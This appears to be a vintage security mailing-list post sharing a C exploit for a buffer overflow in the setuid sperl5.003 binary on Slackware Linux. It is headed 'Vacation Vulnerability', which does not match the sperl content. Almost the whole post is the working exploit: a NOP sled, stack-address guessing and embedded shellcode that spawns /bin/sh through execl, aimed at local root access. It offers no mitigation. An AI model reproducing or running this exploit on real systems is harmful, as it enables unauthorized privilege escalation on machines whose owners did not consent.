SNI-18: Vacation Vulnerability

[ggajic () FREENET NETHER NET (ggajic () FREENET NETHER NET)]

Hi,

I have seen sperl exploit for FreeBSD but not for Linux.Well, here it is.
I'm sorry if it was already posted or discovered befor.

/*    Linux sperl5.003 buffer overflow by ggajic () freenet nether net
             based on Aleph1's buffer overflow code
                 use it in responsible manner
           tested on slackware 3.1 and slackware 3.2         */

#include <stdlib.h>
#define DEFAULT_OFFSET                  640
#define DEFAULT_BUFFER_SIZE            1600
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  execl("/usr/bin/sperl5.003","/usr/sbin/sperl5.003",buff, NULL);
}